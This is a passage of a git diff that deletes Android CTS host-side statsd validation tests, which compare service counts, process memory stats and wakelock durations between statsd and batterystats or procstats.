-        for (CountMetricData data : countMetricData) {
-            List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
-            if (dims.get(0).getValueInt() == uid) {
-                assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-                assertThat(dims.get(2).getValueStr())
-                        .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
-                countFromStatsd = data.getBucketInfo(0).getCount();
-                assertThat(countFromStatsd).isGreaterThan(0L);
-            }
-        }
-        long countFromBS = 0;
-        for (UidProto uidProto : batterystatsProto.getUidsList()) {
-            if (uidProto.getUid() == uid) {
-                for (Package pkg : uidProto.getPackagesList()) {
-                    if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                        for (Service svc : pkg.getServicesList()) {
-                            if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
-                                countFromBS = svc.getStartCount();
-                                assertThat(countFromBS).isGreaterThan(0L);
-                            }
-                        }
-                    }
-                }
-            }
-        }
-        assertThat(countFromStatsd).isGreaterThan(0L);
-        assertThat(countFromBS).isGreaterThan(0L);
-        assertThat(countFromBS).isEqualTo(countFromStatsd);
-    }
-
-    public void testServiceLaunchCount() throws Exception {
-        final String fileName = "BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testForegroundService");
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertThat(countMetricData).isNotEmpty();
-        int uid = getUid();
-        long countFromStatsd = 0;
-        for (CountMetricData data : countMetricData) {
-            List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
-            if (dims.get(0).getValueInt() == uid) {
-                assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-                assertThat(dims.get(2).getValueStr())
-                        .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
-                countFromStatsd = data.getBucketInfo(0).getCount();
-                assertThat(countFromStatsd).isGreaterThan(0L);
-            }
-        }
-        long countFromBS = 0;
-        for (UidProto uidProto : batterystatsProto.getUidsList()) {
-            if (uidProto.getUid() == uid) {
-                for (Package pkg : uidProto.getPackagesList()) {
-                    if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                        for (Service svc : pkg.getServicesList()) {
-                            if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
-                                countFromBS = svc.getLaunchCount();
-                                assertThat(countFromBS).isGreaterThan(0L);
-                            }
-                        }
-                    }
-                }
-            }
-        }
-        assertThat(countFromStatsd).isGreaterThan(0L);
-        assertThat(countFromBS).isGreaterThan(0L);
-        assertThat(countFromBS).isEqualTo(countFromStatsd);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java b/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java
deleted file mode 100644
index 37ded0b..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package android.cts.statsd.validation;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-/**
- * Tests Suite for directories used by Statsd.
- */
-public class DirectoryValidationTest extends DeviceAtomTestCase {
-
-    public void testStatsActiveMetricDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsActiveMetricDirectoryExists");
-    }
-
-    public void testStatsDataDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsDataDirectoryExists");
-    }
-
-    public void testStatsMetadataDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsMetadataDirectoryExists");
-    }
-
-    public void testStatsServiceDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsServiceDirectoryExists");
-    }
-
-    public void testTrainInfoDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testTrainInfoDirectoryExists");
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
deleted file mode 100644
index 5b42aa9..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ /dev/null
@@ -1,306 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.ProcStateTestCase;
-import android.service.procstats.ProcessState;
-import android.service.procstats.AggregatedProcessState;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.ProcessStateAggregated;
-import com.android.os.AtomsProto.ProcessStatsPackageProto;
-import com.android.os.AtomsProto.ProcessStatsProto;
-import com.android.os.AtomsProto.ProcessStatsStateProto;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.ValueBucketInfo;
-import com.android.os.StatsLog.ValueMetricData;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-/**
- * Side-by-side comparison between statsd and procstats.
- */
-public class ProcStatsValidationTests extends ProcStateTestCase {
-
-    private static final String TAG = "Statsd.ProcStatsValidationTests";
-
-    private static final int EXTRA_WAIT_TIME_MS = 1_000; // as buffer when proc state changing.
-
-    public void testProcessStatePssValue() throws Exception {
-        final String fileName = "PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-        clearProcStats();
-        toggleScreenAndSleep(WAIT_TIME_SHORT);
-
-        // foreground service
-        executeForegroundService();
-        toggleScreenAndSleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
-        // background
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        toggleScreenAndSleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
-        // top
-        executeForegroundActivity(ACTION_LONG_SLEEP_WHILE_TOP);
-        toggleScreenAndSleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        toggleScreenAndSleep(cacheTime);
-        // foreground
-        // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        toggleScreenAndSleep(EXTRA_WAIT_TIME_MS + 5_000);
-
-        // Sorted list of events in order in which they occurred.
-        List<ValueMetricData> statsdData = getValueMetricDataList();
-
-        List<ProcessStatsProto> processStatsProtoList = getProcStatsProto();
-
-        LogUtil.CLog.d("======================");
-
-        String statsdPkgName = "com.android.server.cts.device.statsd";
-        double valueInStatsd = 0;
-        for (ValueMetricData d : statsdData) {
-            List<DimensionsValue> dimensionsValuesInWhat = d.getDimensionLeafValuesInWhatList();
-            if (dimensionsValuesInWhat.get(0).getValueStr().equals(statsdPkgName)
-                    && dimensionsValuesInWhat.get(1).getValueStr().equals(statsdPkgName)) {
-                LogUtil.CLog.d(d.toString());
-                for (ValueBucketInfo bucket : d.getBucketInfoList()) {
-                    valueInStatsd = Math.max(bucket.getValues(0).getValueLong(), valueInStatsd);
-                }
-            }
-        }
-
-        double valueInProcStats = 0;
-        for (ProcessStatsProto p : processStatsProtoList) {
-            if (p.getProcess().equals(statsdPkgName)) {
-                LogUtil.CLog.d(p.toString());
-                for (ProcessStatsStateProto s : p.getStatesList()) {
-                    valueInProcStats = Math.max(s.getPss().getMax(), valueInProcStats);
-                }
-            }
-        }
-        assertThat(valueInProcStats).isGreaterThan(0d);
-        assertThat(valueInStatsd).isWithin(1e-10).of(valueInProcStats);
-    }
-
-    private void toggleScreenAndSleep(final long duration) throws Exception {
-        final long half = duration >> 1;
-        Thread.sleep(half);
-        turnScreenOff();
-        Thread.sleep(half);
-        turnScreenOn();
-    }
-
-    public void testProcessStateByPulling() throws Exception {
-        startProcStatsTesting();
-        clearProcStats();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // foreground service
-        executeForegroundService();
-        Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
-        // background
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
-        // top
-        executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
-        Thread.sleep(SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        Thread.sleep(cacheTime);
-        // foreground
-        // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
-
-        Thread.sleep(60_000);
-        uninstallPackage();
-        stopProcStatsTesting();
-        commitProcStatsToDisk();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final String fileName = "PROCSTATSQ_PULL.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT + 5_000);
-
-        List<Atom> statsdData = getGaugeMetricDataList();
-
-        List<android.service.procstats.ProcessStatsProto> processStatsProtoList
-                = getAllProcStatsProtoForStatsd();
-
-        // We pull directly from ProcessStatsService, so not necessary to compare every field.
-        // Make sure that 1. both capture statsd package 2. spot check some values are reasonable
-        LogUtil.CLog.d("======================");
-
-        String statsdPkgName = "com.android.server.cts.device.statsd";
-        long rssAvgStatsd = 0;
-        for (Atom d : statsdData) {
-            for (ProcessStatsProto proc : d.getProcStats().getProcStatsSection().getProcessStatsList()) {
-                if (proc.getProcess().equals(statsdPkgName)) {
-                    LogUtil.CLog.d("Got proto from statsd:");
-                    LogUtil.CLog.d(proc.toString());
-                    for (ProcessStatsStateProto state : proc.getStatesList()) {
-                        if (state.getProcessStateAggregated()
-                                == ProcessStateAggregated.PROCESS_STATE_IMPORTANT_FOREGROUND) {
-                            rssAvgStatsd = state.getRss().getMeanKb();
-                        }
-                    }
-                }
-            }
-        }
-
-        long rssAvgProcstats = 0;
-        for (android.service.procstats.ProcessStatsProto process: processStatsProtoList) {
-            if (process.getProcess().equals(statsdPkgName)) {
-                LogUtil.CLog.d("Got proto from procstats dumpsys:");
-                LogUtil.CLog.d(process.toString());
-                for (android.service.procstats.ProcessStatsStateProto state
-                        : process.getStatesList()) {
-                    if (AggregatedProcessState.AGGREGATED_PROCESS_STATE_IMPORTANT_FOREGROUND
-                            == state.getProcessStateAggregated()) {
-                        rssAvgProcstats = state.getRss().getMeanKb();
-                        break;
-                    }
-                }
-            }
-        }
-
-        assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
-    }
-
-    public void testProcStatsPkgProcStats() throws Exception {
-        /**
-         * Temporarily disable this test as the proc stats data being pulled into the statsd
-         * doesn't include the pkg part now.
-         *
-        startProcStatsTesting();
-        clearProcStats();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // foreground service
-        executeForegroundService();
-        Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
-        // background
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
-        // top
-        executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
-        Thread.sleep(SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        Thread.sleep(cacheTime);
-        // foreground
-        // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
-
-        Thread.sleep(60_000);
-        uninstallPackage();
-        stopProcStatsTesting();
-        commitProcStatsToDisk();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final String fileName = "PROCSTATSQ_PULL_PKG_PROC.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<Atom> statsdData = getGaugeMetricDataList();
-        assertThat(statsdData).isNotEmpty();
-        assertThat(
-                statsdData.get(0).getProcStatsPkgProc().getProcStatsSection()
-                        .getProcessStatsList()
-        ).isNotEmpty();
-
-        // We pull directly from ProcessStatsService, so not necessary to compare every field.
-        // Make sure that 1. both capture statsd package 2. spot check some values are reasonable
-        LogUtil.CLog.d("======================");
-
-        String statsdPkgName = "com.android.server.cts.device.statsd";
-        long rssAvgStatsd = 0;
-        long durationStatsd = 0;
-        for (Atom d : statsdData) {
-            for (ProcessStatsPackageProto pkg : d.getProcStatsPkgProc().getProcStatsSection().getPackageStatsList()) {
-                if (pkg.getPackage().equals(statsdPkgName)) {
-                    LogUtil.CLog.d("Got proto from statsd:");
-                    LogUtil.CLog.d(pkg.toString());
-                    for (ProcessStatsProto process : pkg.getProcessStatsList()) {
-                        for (ProcessStatsStateProto state : process.getStatesList()) {
-                            if (state.getProcessState()
-                                    == ProcessState.PROCESS_STATE_IMPORTANT_FOREGROUND) {
-                                durationStatsd = state.getDurationMillis();
-                                rssAvgStatsd = state.getRss().getAverage();
-                            }
-                        }
-                    }
-                }
-                assertThat(pkg.getServiceStatsCount()).isEqualTo(0L);
-                assertThat(pkg.getAssociationStatsCount()).isEqualTo(0L);
-            }
-        }
-
-        LogUtil.CLog.d("avg rss from statsd is " + rssAvgStatsd);
-
-        List<ProcessStatsPackageProto> processStatsPackageProtoList = getAllProcStatsProto();
-
-        long pssAvgProcstats = 0;
-        long ussAvgProcstats = 0;
-        long rssAvgProcstats = 0;
-        long durationProcstats = 0;
-        int serviceStatsCount = 0;
-        int associationStatsCount = 0;
-        for (ProcessStatsPackageProto pkg : processStatsPackageProtoList) {
-            if (pkg.getPackage().equals(statsdPkgName)) {
-                LogUtil.CLog.d("Got proto from procstats dumpsys:");
-                LogUtil.CLog.d(pkg.toString());
-                for (ProcessStatsProto process : pkg.getProcessStatsList()) {
-                    for (ProcessStatsStateProto state : process.getStatesList()) {
-                        if (state.getProcessState()
-                                == ProcessState.PROCESS_STATE_IMPORTANT_FOREGROUND) {
-                            durationProcstats = state.getDurationMillis();
-                            pssAvgProcstats = state.getPss().getAverage();
-                            ussAvgProcstats = state.getUss().getAverage();
-                            rssAvgProcstats = state.getRss().getAverage();
-                        }
-                    }
-                }
-            }
-            serviceStatsCount += pkg.getServiceStatsCount();
-            associationStatsCount += pkg.getAssociationStatsCount();
-        }
-        assertThat(serviceStatsCount).isGreaterThan(0);
-        assertThat(associationStatsCount).isGreaterThan(0);
-
-        LogUtil.CLog.d("avg pss from procstats is " + pssAvgProcstats);
-        assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
-        */
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java
deleted file mode 100644
index d3e5bad..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import android.cts.statsd.atom.BaseTestCase;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.FileUtil;
-
-import com.google.protobuf.TextFormat;
-import com.google.protobuf.TextFormat.ParseException;
-
-import java.io.File;
-import java.io.IOException;
-
-public class ValidationTestUtil extends BaseTestCase {
-
-    private static final String TAG = "Statsd.ValidationTestUtil";
-
-    public StatsdConfig getConfig(String fileName) throws IOException {
-        try {
-            // TODO: Ideally, we should use real metrics that are also pushed to the fleet.
-            File configFile = getBuildHelper().getTestFile(fileName);
-            String configStr = FileUtil.readStringFromFile(configFile);
-            StatsdConfig.Builder builder = StatsdConfig.newBuilder();
-            TextFormat.merge(configStr, builder);
-            return builder.build();
-        } catch (ParseException e) {
-            LogUtil.CLog.e(
-                    "Failed to parse the config! line: " + e.getLine() + " col: " + e.getColumn(),
-                    e);
-        }
-        return null;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
deleted file mode 100644
index 3e2de0a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ /dev/null
@@ -1,675 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import android.os.BatteryPluggedStateEnum;
-import android.os.BatteryStatsProto;
-import android.os.UidProto;
-import android.os.UidProto.Wakelock;
-import android.os.WakeLockLevelEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
-import android.view.DisplayStateEnum;
-
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.DurationMetric;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.LogicalOperation;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.PluggedStateChanged;
-import com.android.os.AtomsProto.ScreenStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.DurationBucketInfo;
-import com.android.os.StatsLog.DurationMetricData;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import com.google.common.collect.Range;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Side-by-side comparison between statsd and batterystats.
- */
-public class ValidationTests extends DeviceAtomTestCase {
-
-    private static final String TAG = "Statsd.ValidationTests";
-    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
-    private static final boolean ENABLE_LOAD_TEST = false;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        resetBatteryStatus(); // Undo any unplugDevice().
-        turnScreenOn(); // Reset screen to on state
-        super.tearDown();
-    }
-
-    public void testPartialWakelock() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        resetBatteryStats();
-        unplugDevice();
-        // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
-        // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
-        String aodState = getAodState();
-        setAodState("0");
-        turnScreenOff();
-
-        final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
-                WakelockStateChanged.State.ACQUIRE_VALUE,
-                WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE));
-        Set<Integer> wakelockOff = new HashSet<>(Arrays.asList(
-                WakelockStateChanged.State.RELEASE_VALUE,
-                WakelockStateChanged.State.CHANGE_RELEASE_VALUE));
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final WakeLockLevelEnum EXPECTED_LEVEL = WakeLockLevelEnum.PARTIAL_WAKE_LOCK;
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(wakelockOn, wakelockOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-
-        //=================== verify that statsd is correct ===============//
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getWakelockStateChanged().getState().getNumber());
-
-        for (EventMetricData event : data) {
-            String tag = event.getAtom().getWakelockStateChanged().getTag();
-            WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
-            assertThat(tag).isEqualTo(EXPECTED_TAG);
-            assertThat(type).isEqualTo(EXPECTED_LEVEL);
-        }
-
-        //=================== verify that batterystats is correct ===============//
-        int uid = getUid();
-        android.os.TimerProto wl =
-                getBatteryStatsPartialWakelock(batterystatsProto, uid, EXPECTED_TAG);
-
-        assertThat(wl).isNotNull();
-        assertThat(wl.getDurationMs()).isGreaterThan(0L);
-        assertThat(wl.getMaxDurationMs()).isIn(Range.closedOpen(400L, 700L));
-        assertThat(wl.getTotalDurationMs()).isIn(Range.closedOpen(400L, 700L));
-
-        setAodState(aodState); // restores AOD to initial state.
-    }
-
-    @RestrictedBuildTest
-    public void testPartialWakelockDuration() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-
-        // getUid() needs shell command via ADB. turnScreenOff() sometimes let system go to suspend.
-        // ADB disconnection causes failure of getUid(). Move up here before turnScreenOff().
-        final int EXPECTED_UID = getUid();
-
-        turnScreenOn(); // To ensure that the ScreenOff later gets logged.
-        // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
-        // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
-        String aodState = getAodState();
-        setAodState("0");
-        uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
-        Thread.sleep(WAIT_TIME_SHORT);
-        resetBatteryStats();
-        unplugDevice();
-        turnScreenOff();
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
-        Thread.sleep(WAIT_TIME_LONG); // Make sure the one second bucket has ended.
-
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final long EXPECTED_TAG_HASH = Long.parseUnsignedLong("15814523794762874414");
-        final int MIN_DURATION = 350;
-        final int MAX_DURATION = 700;
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = getStatsdWakelockData();
-
-        // Get the batterystats wakelock time and make sure it's reasonable.
-        android.os.TimerProto bsWakelock =
-                getBatteryStatsPartialWakelock(batterystatsProto, EXPECTED_UID, EXPECTED_TAG);
-        assertWithMessage(
-                "No partial wakelocks with uid %s and tag %s in BatteryStats",
-                EXPECTED_UID, EXPECTED_TAG
-        ).that(bsWakelock).isNotNull();
-        long bsDurationMs = bsWakelock.getTotalDurationMs();
-        assertWithMessage(
-                "Wakelock in batterystats with uid %s and tag %s was too short or too long",
-                EXPECTED_UID, EXPECTED_TAG
-        ).that(bsDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
-
-        // Get the statsd wakelock time and make sure it's reasonable.
-        assertWithMessage("No wakelocks with uid %s in statsd", EXPECTED_UID)
-                .that(statsdWakelockData).containsKey(EXPECTED_UID);
-        assertWithMessage("No wakelocks with tag %s in statsd", EXPECTED_TAG)
-                .that(statsdWakelockData.get(EXPECTED_UID)).containsKey(EXPECTED_TAG_HASH);
-        long statsdDurationMs = statsdWakelockData.get(EXPECTED_UID)
-                .get(EXPECTED_TAG_HASH) / 1_000_000;
-        assertWithMessage(
-                "Wakelock in statsd with uid %s and tag %s was too short or too long",
-                EXPECTED_UID, EXPECTED_TAG
-        ).that(statsdDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
-
-        // Compare batterystats with statsd.
-        long difference = Math.abs(statsdDurationMs - bsDurationMs);
-        assertWithMessage(
-                "For uid=%s tag=%s had BatteryStats=%s ms but statsd=%s ms",
-                EXPECTED_UID, EXPECTED_TAG, bsDurationMs, statsdDurationMs
-        ).that(difference).isAtMost(Math.max(bsDurationMs / 10, 10L));
-
-        setAodState(aodState); // restores AOD to initial state.
-    }
-
-    public void testPartialWakelockLoad() throws Exception {
-        if (!ENABLE_LOAD_TEST) return;
-        turnScreenOn(); // To ensure that the ScreenOff later gets logged.
-        uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
-        Thread.sleep(WAIT_TIME_SHORT);
-        resetBatteryStats();
-        unplugDevice();
-        turnScreenOff();
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockLoad");
-        // Give time for stuck wakelocks to increase duration.
-        Thread.sleep(10_000);
-
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final int EXPECTED_UID = getUid();
-        final int NUM_THREADS = 16;
-        final int NUM_COUNT_PER_THREAD = 1000;
-        final int MAX_DURATION_MS = 15_000;
-        final int MIN_DURATION_MS = 1_000;
-
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = getStatsdWakelockData();
-
-        // TODO: this fails because we only have the hashes of the wakelock tags in statsd.
-        // If we want to run this test, we need to fix this.
-
-        // Verify batterystats output is reasonable.
-        // boolean foundUid = false;
-        // for (UidProto uidProto : batterystatsProto.getUidsList()) {
-        //     if (uidProto.getUid() == EXPECTED_UID) {
-        //         foundUid = true;
-        //         CLog.d("Battery stats has the following wakelocks: \n" +
-        //                 uidProto.getWakelocksList());
-        //         assertTrue("UidProto has size "  + uidProto.getWakelocksList().size() +
-        //                 " wakelocks in it. Expected " + NUM_THREADS + " wakelocks.",
-        //                 uidProto.getWakelocksList().size() == NUM_THREADS);
-        //
-        //         for (Wakelock wl : uidProto.getWakelocksList()) {
-        //             String tag = wl.getName();
-        //             assertTrue("Wakelock tag in batterystats " + tag + " does not contain "
-        //                     + "expected tag " + EXPECTED_TAG, tag.contains(EXPECTED_TAG));
-        //             assertTrue("Wakelock in batterystats with tag " + tag + " does not have any "
-        //                             + "partial wakelock data.", wl.hasPartial());
-        //             assertTrue("Wakelock in batterystats with tag " + tag + " tag has count " +
-        //                     wl.getPartial().getCount() + " Expected " + NUM_COUNT_PER_THREAD,
-        //                     wl.getPartial().getCount() == NUM_COUNT_PER_THREAD);
-        //             long bsDurationMs = wl.getPartial().getTotalDurationMs();
-        //             assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
-        //                     + EXPECTED_TAG + "was too short. Expected " + MIN_DURATION_MS +
